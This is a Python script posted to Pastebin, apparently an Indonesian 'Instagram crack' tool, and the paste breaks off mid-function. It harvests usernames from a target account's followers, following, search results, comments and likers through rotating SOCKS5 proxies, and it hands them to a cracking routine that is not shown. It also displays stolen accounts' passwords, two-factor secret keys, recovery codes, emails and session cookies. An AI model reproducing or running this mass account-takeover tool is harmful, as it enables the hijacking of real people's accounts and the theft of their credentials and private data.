OBF-XIn

112.215.172.183-/sdcard/instagram.py.py

Mar 9th, 2024
18
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 79.80 KB | None | 0 0
  1. # create by ZORA ID 2024
  2.  
  3. import uuid, hmac, hashlib, urllib, shutil, base64
  4. import os, re, sys, json, time, random, datetime, requests
  5. from asset.enc_password import Requre
  6. from asset.amankan_data import Require
  7. from asset.useragent import Useragent
  8. from facebook import Facebook
  9. from bs4 import BeautifulSoup as bs
  10. from rich.tree import Tree
  11. from rich import print as printz
  12. from rich.panel import Panel
  13. from rich.console import Console
  14. from rich.columns import Columns
  15. from concurrent.futures import ThreadPoolExecutor
  16.  
  17. dump = []
  18.            
  19. class Requ:
  20.     def __init__(self) -> None:
  21.         self.proxies = []
  22.         pass        
  23.        
  24.     def Convert_Name(self, xxx, cookie):
  25.         with requests.Session() as r:
  26.             try:
  27.                 response = r.get(f'https://www.instagram.com/{xxx}/', headers = {"User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 15_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Instagram 243.1.0.14.111 (iPhone13,3; iOS 15_5; en_US; en-US; scale=3.00; 1170x2532; 382468104) NW/3"}, cookies={'cookie': cookie}).text
  28.                 if 'user_id' in str(response):
  29.                     return(re.findall('"user_id":"(\d+)"', str(response))[0])
  30.             except (Exception) as e: pass
  31.            
  32.     def Convert_Url(self, xxx, cookie):
  33.         with requests.Session() as r:
  34.             try:
  35.                 response = r.get(xxx, cookies={'cookie': cookie}).text
  36.                 if 'media_id' in str(response):
  37.                     return(re.findall('{"media_id":"(.*?)"',str(response))[0])
  38.             except (Exception) as e: exit(e)
  39.  
  40.     def Validasi_Username(self, username):
  41.        with requests.Session() as r:
  42.            try:
  43.                response = r.get("https://i.instagram.com/api/v1/users/web_profile_info/?username={}".format(username), headers = {"User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 15_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Instagram 243.1.0.14.111 (iPhone13,3; iOS 15_5; en_US; en-US; scale=3.00; 1170x2532; 382468104) NW/3"}).json()
  44.                return (response["data"]["user"]["full_name"], response["data"]["user"]["edge_followed_by"]["count"], response["data"]["user"]["edge_follow"]["count"], response["data"]["user"]["edge_owner_to_timeline_media"]["count"])
  45.            except (Exception) as e: return(None,None,None,None)
  46.        
  47.     def Socksku(self):
  48.         with requests.Session() as r:
  49.             try:
  50.                 response = r.get('https://api.proxyscrape.com/v2/?request=displayproxies&protocol={}&timeout=100000&country=all&ssl=all&anonymity=all'.format('socks5')).text
  51.                 for prox in response.splitlines():
  52.                     self.proxies.append(prox)
  53.                 return self.proxies
  54.             except (requests.exceptions.ConnectionError): time.sleep(5); self.Socksku()                
  55.  
  56. class Terminal:
  57.     def __init__(self) -> None:
  58.         pass
  59.        
  60.     def Clear_Terminal(self):
  61.         os.system('clear' if 'linux' in sys.platform.lower() else 'cls')
  62.        
  63.     def Banner_Terminal(self):
  64.         self.Clear_Terminal()
  65.         Console(width = 65, style = "bold grey50").print(Panel("""[bold red]●[bold yellow] ●[bold green] ●[bold white]
  66. [bold red]           _____                 _____  _____)     __  
  67. [bold red]          (, /  |       ,       (, /  /        (__/  )
  68.            /---| __      __      /  /   ___     /    
  69. [bold white]         ) /    |_/_)__(_     ___/__/     / ) ) /      
  70. [bold white]        (_/    .-/          (__ /  (____ /   (_/      
  71.              (_/                                            
  72.     [bold white]Version :[bold blue] 2.0[bold white] || Status :[bold green] Premium[bold white] || Type :[bold blue] Hacking"""))
  73.         return ("Berhasil")
  74.        
  75.     def Layar_Terminal(self):
  76.         self.get_terminal_size = re.search('columns=(\d+),', str(os.get_terminal_size())).group(1)
  77.         if int(self.get_terminal_size) < 65:
  78.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Anda Diwajibkan Untuk Mengecilkan Tampilan Termux Sampai Kotak Ini Terlihat Rapi!..."))
  79.             exit()
  80.         else:
  81.             pass
  82.        
  83. class Login:
  84.     def __init__(self) -> None:
  85.         Terminal().Layar_Terminal()
  86.         pass
  87.        
  88.     def Username_And_Password(self):
  89.         try:
  90.             Terminal().Banner_Terminal()
  91.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silakan Masukan Cookie Instagram, Pastikan Akun Tidak Limite!", subtitle = "╭─────", subtitle_align = "left"))
  92.             cookies = Console().input("[bold grey50]   ╰─> ")
  93.             if len(cookies) >0:
  94.                 self.username,  self.fullname = self.Validasi_Cookies(cookies)
  95.                 with open('Cookie_Instagram.json', 'w') as wr:
  96.                     wr.write(json.dumps({
  97.                         "Cookie": cookies,
  98.                     }))
  99.                     wr.close()
  100.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Selamat Datang [green]{self.username}/{self.fullname}[white], Jalankan Ulang Perintahnya!!..."))
  101.                 exit()
  102.             else:
  103.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Masukan Cookie Instagram, Masukan Dengan Benar, Jangan Kosong Ngab!!..."))
  104.                 exit()
  105.         except (KeyboardInterrupt, Exception) as e:
  106.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Opss, Cookies Salah, Exspired Atau Limite, Silakan Ganti Akun Tumbal, Di Sarankan Membuat Akun Baru!"))
  107.             exit()    
  108.        
  109.     def Validasi_Cookies(self, cookies):
  110.         with requests.Session() as r:
  111.             r.headers.update({
  112.                 'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 15_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Instagram 243.1.0.14.111 (iPhone13,3; iOS 15_5; en_US; en-US; scale=3.00; 1170x2532; 382468104) NW/3',
  113.             })
  114.             response = r.get('https://i.instagram.com/api/v1/users/{}/info/'.format(re.findall('ds_user_id=(\d+)',str(cookies))[0]), cookies = {
  115.                 'cookie': cookies
  116.             })
  117.             self.payload = json.loads(response.text)
  118.             if '\'username\':' in str(self.payload):
  119.                 self.username = self.payload['user']['username']
  120.                 self.fullname = self.payload['user']['full_name']
  121.                 return(self.username, self.fullname)
  122.             else:
  123.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Opss, Cookies Exspired Atau Limite, Silakan Ganti Akun Tumbal, Di Sarankan Membuat Akun Baru!"))
  124.                 time.sleep(3.5)
  125.                 self.Username_And_Password()
  126.                
  127. class Instagram:
  128.     def __init__(self):
  129.         self.Kilometers, self.Meterans, self.amankan_akun = [],[],[]
  130.         self.success, self.chekpoint, self.faktor, self.looping = 0,0,0,0
  131.  
  132.     def Remove_Cookie(self):
  133.         try: os.system('rm -rf Cookie_Instagram.json')
  134.         except (Exception): pass
  135.         Login().Username_And_Password()
  136.  
  137.     def Chek_Cookies(self, created, exspired, sisa):
  138.         try:
  139.            cookie = json.loads(open('Cookie_Instagram.json', 'r').read())['Cookie']
  140.            self.Menu_Instagram(created, exspired, sisa, cookie)          
  141.         except (FileNotFoundError) as e:
  142.            Terminal().Clear_Terminal()
  143.            Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Error) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  144.            Console().input("[bold grey50]   ╰─> File Not Found Error!!..")
  145.            self.Remove_Cookie()
  146.            
  147.     def Menu_Instagram(self, created, exspired, sisa, cookie):
  148.         try:
  149.             self.username, self.fullname = Login().Validasi_Cookies(cookie)
  150.         except (KeyError) as e:
  151.             Terminal().Clear_Terminal()
  152.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Error) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  153.             Console().input("[bold grey50]   ╰─> Terjadi Kesalahan, Cookie Exspired Atau Limite!!..")
  154.             self.Remove_Cookie()
  155.            
  156.         except (requests.exceptions.ConnectionError) as e:
  157.             Terminal().Clear_Terminal()
  158.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Error) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  159.             Console().input("[bold grey50]   ╰─> Terjadi Kesalahan, Koneksi Anda Error!!..")
  160.             self.Chek_Cookies()
  161.         try:                    
  162.             Terminal().Banner_Terminal()
  163.             self.Kilometers.append(Panel(f'[bold green]•[bold white] Username [bold green]{self.username}\n[bold green]•[bold white] Fullname [bold green]{self.fullname}', title='[bold red]>[bold yellow]>[bold green]>[bold grey50] (Info Akun) [bold green]<[bold yellow]<[bold red]<',width=32, style='bold grey50'))
  164.             self.Kilometers.append(Panel(f'[bold green]•[bold white] Bergabung [bold green]{created}\n[bold green]•[bold white] Expired [bold green]{exspired} [bold yellow]{sisa}[bold white] hari', title='[bold red]>[bold yellow]>[bold green]>[bold grey50] (Info License) [bold green]<[bold yellow]<[bold red]<',width=32, style='bold grey50'))
  165.             Console().print(Columns(self.Kilometers))
  166.         except (AttributeError) as e:
  167.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Error) [bold green]<[bold yellow]<[bold red]<"))
  168.             exit()
  169.         Console(width = 65, style = "bold grey50").print(Panel('''[bold white][bold green]01[bold white]. Crack Nama Dari Follower\t[bold white][bold green]06[bold white]. Chek Result Crack\n[bold white][bold green]02[bold white]. Crack Nama Dari Followed\t[bold white][bold green]07[bold white]. Beralih Ke Facebook\n[bold white][bold green]03[bold white]. Crack Nama Dari Search\t[bold white][bold red]00[bold white].[bold red] Deleted Cookies\n[bold white][bold green]04[bold white]. Crack Nama Dari Komentar\n[bold white][bold green]05[bold white]. Crack Nama Dari Likes''', title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Menu Instagram) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  170.         query = Console().input("[bold grey50]   ╰─> ")
  171.         if query == '01' or query == '1':
  172.             try:
  173.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan Username Akun Instagram Target Pastikan Tidak Terkunci Dan Centang Biru Anda Juga Bisa Menggunakan Koma Untuk Dump Masal, Misalnya :[italic green] partner.hmei3,partner.hmei7[italic white] *Gunakan[italic red] CTRL + C[italic white] Untuk Berhenti!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Catatan) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  174.                 username = Console().input("[bold grey50]   ╰─> ")
  175.                 for self.username in username.split(','):
  176.                     uid = Requ().Convert_Name(self.username, cookie)
  177.                 try: self.Dump_Followers(uid, cookie, '')
  178.                 except (Exception) as e: pass
  179.                 if len(dump) < 50:
  180.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Jumlah Username Terlalu Sedikit Anda Harus Mencari Target Yang Lain Dan Pastikan Username Yang Terkumpul lebih Dari 50 Username!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Jumlah Terlalu Sedikit) [bold green]<[bold yellow]<[bold red]<"))
  181.                     exit()
  182.                 else:
  183.                     Console(width = 65).print(Panel(f'{len(dump)}',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] (Jumlah Username) [bold green]<[bold yellow]<[bold red]<',style='bold grey50'),justify='center')
  184.                     self.Methode()
  185.             except (Exception) as e:
  186.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Error) [bold green]<[bold yellow]<[bold red]<"))
  187.                 exit()
  188.                
  189.         elif query == '02' or query == '2':
  190.             try:
  191.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan Username Akun Instagram Target Pastikan Tidak Terkunci Dan Centang Biru Anda Juga Bisa Menggunakan Koma Untuk Dump Masal, Misalnya :[italic green] partner.hmei3,partner.hmei7[italic white] *Gunakan[italic red] CTRL + C[italic white] Untuk Berhenti!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Catatan) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  192.                 username = Console().input("[bold grey50]   ╰─> ")
  193.                 for self.username in username.split(','):
  194.                     uid = Requ().Convert_Name(self.username, cookie)
  195.                 try: self.Dump_Following(uid, cookie, '')
  196.                 except (Exception) as e: pass
  197.                 if len(dump) < 50:
  198.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Jumlah Username Terlalu Sedikit Anda Harus Mencari Target Yang Lain Dan Pastikan Username Yang Terkumpul lebih Dari 50 Username!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Jumlah Terlalu Sedikit) [bold green]<[bold yellow]<[bold red]<"))
  199.                     exit()
  200.                 else:
  201.                     Console(width = 65).print(Panel(f'{len(dump)}',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] (Jumlah Username) [bold green]<[bold yellow]<[bold red]<',style='bold grey50'),justify='center')
  202.                     self.Methode()
  203.             except (Exception) as e:
  204.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Error) [bold green]<[bold yellow]<[bold red]<"))
  205.                 exit()
  206.                
  207.         elif query == '03' or query == '3':
  208.             try:
  209.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan Username Akun Instagram Target Pastikan Tidak Terkunci Dan Centang Biru Anda Juga Bisa Menggunakan Koma Untuk Dump Masal, Misalnya :[italic green] partner.hmei3,partner.hmei7[italic white] *Gunakan[italic red] CTRL + C[italic white] Untuk Berhenti!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Catatan) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  210.                 username = Console().input("[bold grey50]   ╰─> ")
  211.                 for self.username in username.split(','):
  212.                     try: self.Dump_Search(self.username, cookie)
  213.                     except (Exception) as e: pass
  214.                 if len(dump) < 50:
  215.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Jumlah Username Terlalu Sedikit Anda Harus Mencari Target Yang Lain Dan Pastikan Username Yang Terkumpul lebih Dari 50 Username!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Jumlah Terlalu Sedikit) [bold green]<[bold yellow]<[bold red]<"))
  216.                     exit()
  217.                 else:
  218.                     Console(width = 65).print(Panel(f'{len(dump)}',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] (Jumlah Username) [bold green]<[bold yellow]<[bold red]<',style='bold grey50'),justify='center')
  219.                     self.Methode()
  220.             except (Exception) as e:
  221.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Error) [bold green]<[bold yellow]<[bold red]<"))
  222.                 exit()
  223.                
  224.         elif query == '04' or query == '4':
  225.             try:
  226.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan Url Postingan Akun Instagram Target Pastikan Tidak Terkunci Dan Centang Biru Anda Juga Bisa Menggunakan Koma Untuk Dump Masal, *Gunakan[italic red] CTRL + C[italic white] Untuk Berhenti!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Catatan) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  227.                 username = Console().input("[bold grey50]   ╰─> ")
  228.                 for self.username in username.split(','):
  229.                     uid = Requ().Convert_Url(self.username, cookie)
  230.                 try: self.Dump_Komentar(uid, cookie, '')
  231.                 except (Exception) as e: pass
  232.                 if len(dump) < 50:
  233.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Jumlah Username Terlalu Sedikit Anda Harus Mencari Target Yang Lain Dan Pastikan Username Yang Terkumpul lebih Dari 50 Username!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Jumlah Terlalu Sedikit) [bold green]<[bold yellow]<[bold red]<"))
  234.                     exit()
  235.                 else:
  236.                     Console(width = 65).print(Panel(f'{len(dump)}',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] (Jumlah Username) [bold green]<[bold yellow]<[bold red]<',style='bold grey50'),justify='center')
  237.                     self.Methode()
  238.             except (Exception) as e:
  239.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Error) [bold green]<[bold yellow]<[bold red]<"))
  240.                 exit()
  241.                
  242.         elif query == '05' or query == '5':
  243.             try:
  244.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic white]Silahkan Masukan Url Postingan Akun Instagram Target Pastikan Tidak Terkunci Dan Centang Biru Anda Juga Bisa Menggunakan Koma Untuk Dump Masal, *Gunakan[italic red] CTRL + C[italic white] Untuk Berhenti!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Catatan) [bold green]<[bold yellow]<[bold red]<", subtitle = "╭─────", subtitle_align = "left"))
  245.                 username = Console().input("[bold grey50]   ╰─> ")
  246.                 for self.username in username.split(','):
  247.                     uid = Requ().Convert_Url(self.username, cookie)
  248.                 try: self.Dump_Likers(uid, cookie, '')
  249.                 except (Exception) as e: pass
  250.                 if len(dump) < 50:
  251.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Jumlah Username Terlalu Sedikit Anda Harus Mencari Target Yang Lain Dan Pastikan Username Yang Terkumpul lebih Dari 50 Username!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Jumlah Terlalu Sedikit) [bold green]<[bold yellow]<[bold red]<"))
  252.                     exit()
  253.                 else:
  254.                     Console(width = 65).print(Panel(f'{len(dump)}',title='[bold red]>[bold yellow]>[bold green]>[bold grey50] (Jumlah Username) [bold green]<[bold yellow]<[bold red]<',style='bold grey50'),justify='center')
  255.                     self.Methode()
  256.             except (Exception) as e:
  257.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Error) [bold green]<[bold yellow]<[bold red]<"))
  258.                 exit()
  259.                
  260.         elif query == '06' or query == '6':
  261.             try:
  262.                 Console(width=65).print(Panel('[bold green]01[bold white]. Chek Result OK\n[bold green]02[bold white]. Chek Result 2F\n[bold green]03[bold white]. Chek Result CP',style='bold grey50'), justify='center')
  263.                 choose = Console().input("[bold grey50]   ╰─> ")
  264.                 if choose =='01' or choose =='1':
  265.                     try:
  266.                         file = os.listdir('/sdcard/OK')
  267.                     except (Exception) as e:
  268.                         Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Error) [bold green]<[bold yellow]<[bold red]<"))
  269.                         exit()
  270.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic green]{str(file)}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (File OK) [bold green]<[bold yellow]<[bold red]<"))
  271.                     Console(width=65).print(Panel('[bold white]Chek File OK, Masukan Nama File, Misalnya : [bold green]OK-18-Maret-2024[bold white]',style='bold grey50' ,subtitle = "╭─────", subtitle_align = "left"))
  272.                     files = Console().input("[bold grey50]   ╰─> ")
  273.                     self.Result(choose,files)
  274.                     exit()
  275.                 elif choose =='02' or choose =='2':
  276.                     try:
  277.                         file = os.listdir('/sdcard/2F')
  278.                     except (Exception) as e:
  279.                         Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Error) [bold green]<[bold yellow]<[bold red]<"))
  280.                         exit()
  281.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(file)}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (File 2F) [bold green]<[bold yellow]<[bold red]<"))
  282.                     Console(width=65).print(Panel('[bold white]Chek File 2F, Masukan Nama File, Misalnya : [bold red]2F-18-Maret-2024[bold white]',style='bold grey50' ,subtitle = "╭─────", subtitle_align = "left"))
  283.                     files = Console().input("[bold grey50]   ╰─> ")
  284.                     self.Result(choose,files)
  285.                     exit()
  286.                 elif choose =='03' or choose =='3':
  287.                     try:
  288.                         file = os.listdir('/sdcard/CP')
  289.                     except (Exception) as e:
  290.                         Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Error) [bold green]<[bold yellow]<[bold red]<"))
  291.                         exit()
  292.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic yellow]{str(file)}", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (File CP) [bold green]<[bold yellow]<[bold red]<"))
  293.                     Console(width=65).print(Panel('[bold white]Chek File CP, Masukan Nama File, Misalnya : [bold yellow]CP-18-Maret-2024[bold white]',style='bold grey50' ,subtitle = "╭─────", subtitle_align = "left"))
  294.                     files = Console().input("[bold grey50]   ╰─> ")
  295.                     self.Result(choose,files)
  296.                     exit()
  297.                 else:
  298.                     Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Pilihan Yang Kamu Masukan Tidak Ada Di Dalam Menu Instagram!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Error) [bold green]<[bold yellow]<[bold red]<"))
  299.                     exit()  
  300.             except (Exception) as e:
  301.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Error) [bold green]<[bold yellow]<[bold red]<"))
  302.                 exit()
  303.                
  304.         elif query == '07' or query == '7':
  305.             try: Facebook()
  306.             except (Exception) as e:
  307.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Error) [bold green]<[bold yellow]<[bold red]<"))
  308.                 exit()
  309.                              
  310.         elif query == '00' or query == '0':
  311.             try: self.Remove_Cookie()
  312.             except (Exception) as e:
  313.                 Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]{str(e).title()}!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Error) [bold green]<[bold yellow]<[bold red]<"))
  314.                 exit()
  315.         else:
  316.             Console(width = 65, style = "bold grey50").print(Panel(f"[italic red]Pilihan Yang Kamu Masukan Tidak Ada Di Dalam Menu Instagram!", title = "[bold red]>[bold yellow]>[bold green]>[bold grey50] (Error) [bold green]<[bold yellow]<[bold red]<"))
  317.             exit()              
  318.                  
  319.     def Dump_Search(self, username, cookie):
  320.         with requests.Session() as r:
  321.             try:
  322.                 response = r.get(f'https://i.instagram.com/api/v1/web/search/topsearch/?context=blended&query={self.username}&rank_token=0.11856792192547738&include_reel=true',headers={'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 15_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Instagram 243.1.0.14.111 (iPhone13,3; iOS 15_5; en_US; en-US; scale=3.00; 1170x2532; 382468104) NW/3','x-csrftoken': re.search('csrftoken=(.*?);',cookie).group(1)}, cookies={'cookie':cookie}).json()
  323.                 for akun in response['users']:
  324.                     if akun not in dump:
  325.                         dump.append(akun['user']['username']+'<=>'+akun['user']['full_name'])
  326.                         Console().print(f"[bold grey50]   ╰─>[bold green] Dump @{str(self.username)[:20]}/{len(dump)} Username...     ", end='\r')
  327.                 if 'next_max_id' in str(response):
  328.                     self.Dump_Search(self.username, cookie)
  329.             except (KeyboardInterrupt, requests.exceptions.TooManyRedirects) as e: pass      
  330.            
  331.     def Dump_Followers(self, username, cookie, max_id):
  332.         with requests.Session() as r:
  333.             try:
  334.                 params = {'count': '200','max_id': max_id,'search_surface': 'follow_list_page'}
  335.                 response = r.get(f'https://www.instagram.com/api/v1/friendships/{username}/followers/', params = params, headers = {'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 15_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Instagram 243.1.0.14.111 (iPhone13,3; iOS 15_5; en_US; en-US; scale=3.00; 1170x2532; 382468104) NW/3','x-csrftoken': re.search('csrftoken=(.*?);',cookie).group(1)}, cookies={'cookie': cookie}).json()
  336.                 for akun in response['users']:
  337.                     if akun not in dump:
  338.                         dump.append(akun['username']+'<=>'+akun['full_name'])
  339.                         Console().print(f"[bold grey50]   ╰─>[bold green] Dump @{str(username)[:20]}/{len(dump)} Username...     ", end='\r')
  340.                 if 'next_max_id' in str(response):
  341.                     self.Dump_Followers(username, cookie, response['next_max_id'])
  342.             except (KeyboardInterrupt, requests.exceptions.TooManyRedirects) as e: pass  
  343.            
  344.     def Dump_Following(self, username, cookie, max_id):
  345.         with requests.Session() as r:
  346.             try:
  347.                 params = {'count': '200','max_id': max_id,'search_surface': 'follow_list_page'}
  348.                 response = r.get(f'https://www.instagram.com/api/v1/friendships/{username}/following/', params = params, headers = {'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 15_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Instagram 243.1.0.14.111 (iPhone13,3; iOS 15_5; en_US; en-US; scale=3.00; 1170x2532; 382468104) NW/3','x-csrftoken': re.search('csrftoken=(.*?);',cookie).group(1)}, cookies={'cookie': cookie}).json()
  349.                 for akun in response['users']:
  350.                     if akun not in dump:
  351.                         dump.append(akun['username']+'<=>'+akun['full_name'])
  352.                         Console().print(f"[bold grey50]   ╰─>[bold green] Dump @{str(username)[:20]}/{len(dump)} Username...     ", end='\r')
  353.                 if 'next_max_id' in str(response):
  354.                     self.Dump_Following(username, cookie, response['next_max_id'])
  355.             except (KeyboardInterrupt, requests.exceptions.TooManyRedirects) as e: pass  
  356.            
  357.     def Dump_Komentar(self, username, cookie, max_min):
  358.         with requests.Session() as r:
  359.             try:
  360.                 params = {'can_support_threading':True,'permalink_enabled':False,'min_id': max_min}
  361.                 response = r.get(f'https://www.instagram.com/api/v1/media/{username}/comments/', params = params, headers = {'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 15_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Instagram 243.1.0.14.111 (iPhone13,3; iOS 15_5; en_US; en-US; scale=3.00; 1170x2532; 382468104) NW/3','x-csrftoken': re.search('csrftoken=(.*?);',cookie).group(1)}, cookies={'cookie': cookie}).json()
  362.                 for akun in response['comments']:
  363.                     if akun not in dump:
  364.                         dump.append(akun['user']['username']+'<=>'+akun['user']['full_name'])
  365.                         Console().print(f"[bold grey50]   ╰─>[bold green] Dump @{str(username)[:20]}/{len(dump)} Username...     ", end='\r')
  366.                 if 'next_min_id' in str(response):
  367.                     self.Dump_Komentar(username, cookie, response['next_min_id'])
  368.             except (KeyboardInterrupt, requests.exceptions.TooManyRedirects) as e: pass
  369.            
  370.     def Dump_Likers(self, username, cookie, max_min):
  371.         with requests.Session() as r:
  372.             try:
  373.                 params = {'can_support_threading':True,'permalink_enabled':False,'min_id': max_min}
  374.                 response = r.get(f'https://www.instagram.com/api/v1/media/{username}/likers/', params = params, headers = {'user-agent': 'Mozilla/5.0 (iPhone; CPU iPhone OS 15_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148 Instagram 243.1.0.14.111 (iPhone13,3; iOS 15_5; en_US; en-US; scale=3.00; 1170x2532; 382468104) NW/3','x-csrftoken': re.search('csrftoken=(.*?);',cookie).group(1)}, cookies={'cookie': cookie}).json()
  375.                 for akun in response['users']:
  376.                     if akun not in dump:
  377.                         dump.append(akun['username']+'<=>'+akun['full_name'])
  378.                         Console().print(f"[bold grey50]   ╰─>[bold green] Dump @{str(username)[:20]}/{len(dump)} Username...     ", end='\r')
  379.                 if 'next_min_id' in str(response):
  380.                     self.Dump_Komentar(username, cookie, response['next_min_id'])
  381.             except (KeyboardInterrupt, requests.exceptions.TooManyRedirects) as e: pass  
  382.            
  383.     def Result(self, result, isi):
  384.         if result in ('1','01'):
  385.             for buka in open(f'/sdcard/OK/'+str(isi)).readlines():
  386.                 try: tree = Tree(f'\r╭ logged in user',style='green'); true = tree.add(f"Succes logged {buka.split('|')[0]}"); true.add(f"Username {buka.split('|')[1]}"); true.add(f"Password {buka.split('|')[2]}"); true = tree.add(f'\r╭ informasi date profiles',style='green'); true.add(f"Followerd {buka.split('|')[3]}"); true.add(f"Following {buka.split('|')[4]}"); true.add(f"Postingan {buka.split('|')[5]}"); true = tree.add(f'\r╭ auth secure account',style='green'); true.add(f"status two {buka.split('|')[6]}"); true.add(f"secret key {buka.split('|')[7]}"); true.add(f"pemulihan {buka.split('|')[8]}"); true.add(f"telephone {buka.split('|')[9]}"); true.add(f"add email {buka.split('|')[10]}"); true.add(f"web email {buka.split('|')[11]}"); true = tree.add(f"Cookie {buka.split('|')[12]}"); tree.add("Success cek in Result OK"); printz(tree)
  387.                 except Exception: tree = Tree(f'\r╭ logged in user',style='green'); true = tree.add(f"Succes logged {buka.split('|')[0]}"); true.add(f"Username {buka.split('|')[1]}"); true.add(f"Password {buka.split('|')[2]}"); true = tree.add(f'\r╭ informasi date profiles',style='green'); true.add(f"Followerd {buka.split('|')[3]}"); true.add(f"Following {buka.split('|')[4]}"); true.add(f"Postingan {buka.split('|')[5]}"); true = tree.add(f"Cookie {buka.split('|')[6]}"); tree.add("Success cek in Result OK"); printz(tree)
  388.                    
  389.         elif result in ('2','02'):
  390.             for buka in open(f'/sdcard/2F/'+str(isi)).readlines():
